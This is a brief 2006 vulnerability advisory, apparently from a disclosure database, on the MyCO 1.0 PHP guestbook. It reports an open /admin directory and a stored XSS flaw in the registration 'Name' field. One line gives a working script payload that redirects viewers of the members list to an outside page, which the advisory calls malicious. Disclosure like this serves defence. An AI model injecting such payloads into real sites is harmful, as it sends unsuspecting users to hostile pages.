 Topic: |
MyCO multiple vulnerabilities |
| Credit: |
Revnic Vasile |
| Date: |
2006.02.01 |
| CWE: |
N/A |
| CVE: |
CVE-2006-1120 (Show details)
Use CVE to see details like:
- CVSS2,
- Affected Software,
- References |
| Risk |
Local |
| Remote |
| Low |
Yes |
| Yes |
MyCO multiple vulnerabilities
Software:
MyCO guestbook 1.0
www.punctweb.com
Credit:
Revnic Vasile
revnic (at) gmail (dot) com [email concealed]
Description:
MyCO is a PHP guestbook that uses a MySQL database
Vulnerability:
the /admin directory is accessible by everyone.
XSS can be injected into the field "Name" when registering a new user.
<script>document.location = 'http://some.site/crash_ie.asp';</script>
when viewing members list can redirect user's browser to a malicious site.
[ ASCII VERSION ]
|
